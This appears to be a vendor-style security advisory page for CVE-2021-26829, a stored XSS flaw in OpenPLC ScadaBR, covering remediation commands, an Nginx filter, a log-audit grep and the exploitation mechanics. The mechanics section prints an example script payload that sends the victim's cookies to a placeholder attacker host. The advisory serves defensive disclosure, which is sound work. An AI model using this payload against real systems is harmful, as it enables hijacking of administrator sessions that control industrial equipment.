OpenPLC ScadaBR Stored Cross-Site Scripting (XSS) Vulnerability (CVE-2021-26829) Security Advisory
Executive & SecOps Summary
SECOPS ASSESSMENTOpenPLC ScadaBR through version 0.9.1 on Linux and through version 1.12.4 on Windows
Attackers can inject malicious scripts permanently via system_settings.shtm, leading to administrator session hijacking and unauthorized SCADA control
Apply the latest security patches, restrict external access, and deploy Web Application Firewall (WAF) rules to sanitize input parameters
Affected Products & Version Scope
Remediation & Live Workaround Commands
PATCH & WORKAROUND1. Official Patch & Version Upgrade Commands
It is highly recommended to upgrade ScadaBR to the latest secure release provided by the OpenPLC community. Below is an example of pulling the latest updates and rebuilding the environment on Linux:
# Navigate to the OpenPLC directory and pull the latest secure codebase
cd /opt/OpenPLC_v3
git pull origin main
# Re-run the installation script to apply updates
sudo ./install.sh2. Temporary Workaround & Hardening Configuration
If immediate patching is not feasible, deploy a reverse proxy (such as Nginx) or a Web Application Firewall (WAF) in front of ScadaBR to filter out malicious payloads targeting system_settings.shtm.
# Nginx configuration snippet to block basic XSS attempts
server {
listen 80;
server_name scadabr.local;
location / {
# Block requests containing script tags in the URI
if ($request_uri ~* '(<|%3C).*script.*(>|%3E)') {
return 403 'XSS Attempt Blocked';
}
proxy_pass http://127.0.0.1:8080;
}
}3. Log Audit & IoC Verification Commands
Inspect the web server access logs (e.g., Tomcat or Jetty logs) for suspicious POST requests directed at system_settings.shtm containing script tags or encoded characters.
# Audit Tomcat access logs for potential XSS payloads targeting system_settings.shtm
grep -i 'system_settings.shtm' /var/log/tomcat*/localhost_access_log*.txt | grep -E '(<|%3C|script|%73%63%72%69%70%74)'Block Exploits Instantly with Managed Virtual Patching Rules
Can't patch production immediately? Deploy managed WAF rules at the edge to intercept RCE, SQLi, and deserialization payloads before they hit your origin server.
Technical Root Cause & Exploitation Mechanics
1. Vulnerability Overview & Root Cause
This vulnerability (CVE-2021-26829) is a Stored Cross-Site Scripting (XSS) vulnerability located in the system_settings.shtm page of OpenPLC ScadaBR. The root cause is the application's failure to properly sanitize and HTML-encode user-supplied input within the system settings fields before storing it in the backend database. When other users subsequently view the settings page, the unsanitized input is rendered directly by the browser.
2. Exploitation Mechanics & Attack Scenario
An authenticated attacker with low privileges or one who has compromised a settings-modifying account can submit a malicious JavaScript payload (e.g., <script>fetch('http://attacker.com/steal?cookie=' + document.cookie)</script>) into the input fields of system_settings.shtm. Once saved, the payload is persistently stored. When an administrator or high-privileged user accesses the system settings page, the script executes automatically within their browser session. This allows the attacker to hijack active session cookies or perform unauthorized administrative actions, including sending arbitrary control commands to connected PLCs.
3. Infrastructure & Business Impact
ScadaBR is a critical SCADA software component used to monitor and control PLCs in Industrial Control Systems (ICS/OT) environments. This vulnerability is highly critical and is listed in the CISA Known Exploited Vulnerabilities (KEV) catalog, indicating active exploitation in the wild. Successful exploitation could allow threat actors to gain full control over the SCADA interface, potentially leading to unauthorized process modifications, physical equipment damage, or severe operational downtime.
Official Vendor Advisories & References
OpenPLC ScadaBR through 0.9.1 on Linux and through 1.12.4 on Windows allows stored XSS via system_settings.shtm.
Frequently Asked SecOps Questions (CVE-2021-26829)
FAQQ1. How critical is CVE-2021-26829 and is it actively exploited in the wild?
CVE-2021-26829 is rated CVSS 5.4 (MEDIUM) with a 30-day EPSS exploitation probability of 48.0%. It is listed in the CISA Known Exploited Vulnerabilities (KEV) catalog, requiring immediate emergency remediation.
Q2. Which vendors and products are affected by CVE-2021-26829?
Primary impacted vendors include openplc across scadabr. Scope summary: OpenPLC ScadaBR through 0.9.1 on Linux and through 1.12.4 on Windows
Q3. What temporary mitigations or workarounds exist for CVE-2021-26829 before patching?
[Mitigation] Apply the latest security patches, restrict external access, and deploy Web Application Firewall (WAF) rules to sanitize input parameters Follow the CLI remediation commands and interactive SecOps checklist on this page to restrict exposure prior to your maintenance window.
Generate an Internal Engineering Notice or CISO Report for CVE-2021-26829
Instantly format this advisory into an executive CISO summary or engineering patch ticket.
🔗 Related Advisories in Similar Stack (openplc)
View Category →Microsoft Exchange Server Cross-Site Scripting (XSS) and Spoofing Vulnerability Advisory (CVE-2026-42897)
[Affected Scope] All supported on-premises Microsoft Exchange Server environments.
CVE-2026-120114 Technical Vulnerability Analysis & Patch Advisory (CVSS 7.2)
[Affected Scope] Systems running unpatched versions impacted by CVE-2026-120114
WordPress WooCommerce PDF Invoices & Packing Slips Stored XSS Vulnerability (CVE-2026-107750) Security Advisory
[Affected Scope] WordPress WooCommerce PDF Invoices & Packing Slips plugin versions up to, and including, 5.16.4
WordPress SureCart Plugin Stored XSS Vulnerability (CVE-2026-107653) Security Advisory
[Affected Scope] All versions up to, and including, 4.9.4 of the SureCart WordPress plugin
Subscribe to Daily Vulnerability Briefings & KEV Alerts
Concise morning briefings for SecOps, DevSecOps, and SRE teams covering newly exploited CVEs and mitigation priorities.